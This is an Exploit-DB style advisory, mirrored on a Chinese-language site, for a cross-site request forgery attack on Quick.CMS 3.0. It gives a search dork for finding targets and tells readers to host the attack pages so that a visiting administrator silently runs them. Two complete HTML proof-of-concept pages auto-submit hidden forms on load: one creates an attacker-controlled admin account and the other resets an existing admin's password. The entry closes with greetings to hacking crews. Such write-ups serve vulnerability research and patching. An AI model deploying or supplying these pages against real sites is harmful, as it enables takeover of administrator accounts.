Quick.CMS 3.0 – Cross-Site Request Forgery

  • 作者： ^Xecuti0N3r
    日期： 2011-04-26
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/17216/
  • #(+) Exploit Title: Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)
#(+) Author: ^Xecuti0n3r
#(+) E-mail: xecuti0n3r()yahoo.com
#(+) Category: Web Apps [XSRF]
#(+) Dork: intext:"Quick.Cms v3.0" inurl:admin.php
#(+) Demo CMS Link: http://opensolution.org/Quick.Cms

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0 I'm ^Xecuti0n3r member from Inj3ct0r Team1
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#All you have to do is save the below code as exploit.html
#Then Host a website with the exploit.html file. A person with admin permissions if visits the site,
# will automatically add the attacker as Admin without warning ;) 
____________________________________________________________________
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Code:
 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
{
var count = 2;
var i=0;
 
for(i=0; i<count; i++)
{
document.forms[i].submit();
}
}

</script>
<H2>Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)</H2>
<form method="POST" name="form0" action="http://site.com/admin.php?p=users-form&iUser=">
<input type="hidden" name="iUser" value=""/>
<input type="hidden" name="sLoginOld" value=""/>
<input type="hidden" name="sOptionList" value="save and go to the list »"/>
<input type="hidden" name="sLogin" value="admin3"/>
<input type="hidden" name="sPass" value="admin2"/>
<input type="hidden" name="sFirstName" value="Admin2"/>
<input type="hidden" name="sLastName" value="Admin2"/>
<input type="hidden" name="sCompanyName" value="ZZZZZ"/>
<input type="hidden" name="sStreet" value="ZZZZZZZZ"/>
<input type="hidden" name="sZipCode" value="99999"/>
<input type="hidden" name="sCity" value="ZZZZZZ"/>
<input type="hidden" name="sPhone" value="9999999993"/>
<input type="hidden" name="sEmail" value="attacker@jojo.com"/>
</form>
</form>

</body>
</html>


EDIT USER:

#All you have to do is save the below code as exploit.html
#Then Host a website with the exploit.html file. A person with admin permissions if visits the site,
# will automatically add the attacker as Admin without warning ;) 
____________________________________________________________________
____________________________________________________________________
Code:
 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Quick CMS v3.0 Cross Site Request Forgery (Edit Existing Admin details)</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
{
var count = 2;
var i=0;

for(i=0; i<count; i++)
{
document.forms[i].submit();
}
}

</script>
<H2>Quick CMS v3.0 Cross Site Request Forgery (Edit Existing Admin details)</H2>
<form method="POST" name="form0" action="http://site.com/admin.php?p=admins-form">
<input type="hidden" name="iAdmin" value="1"/>
<input type="hidden" name="iLastLogin" value="0"/>
<input type="hidden" name="iBeforeLastLogin" value="0"/>
<input type="hidden" name="sOptionList" value="save and go to the list »"/>
<input type="hidden" name="sLogin" value="demo"/>
<input type="hidden" name="aPrivilagesForm[p-list]" value="1"/>
<input type="hidden" name="aPrivilagesForm[p-form]" value="1"/>
<input type="hidden" name="sPass" value="newpassword"/>
<input type="hidden" name="sName" value="John Doe"/>
<input type="hidden" name="sEmail" value="john@doe.com"/>
<input type="hidden" name="sSignature" value="JD"/>
</form>
 </form>

</body>
</html>
 
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(+)Exploit Coded by: ^Xecuti0N3r 
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r, aNnIh!LatioN3r
(+)Gr33ts to : Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) + All the 31337 Members :)
(+)<3 to :Indian Cyber Army & Indishell Crew
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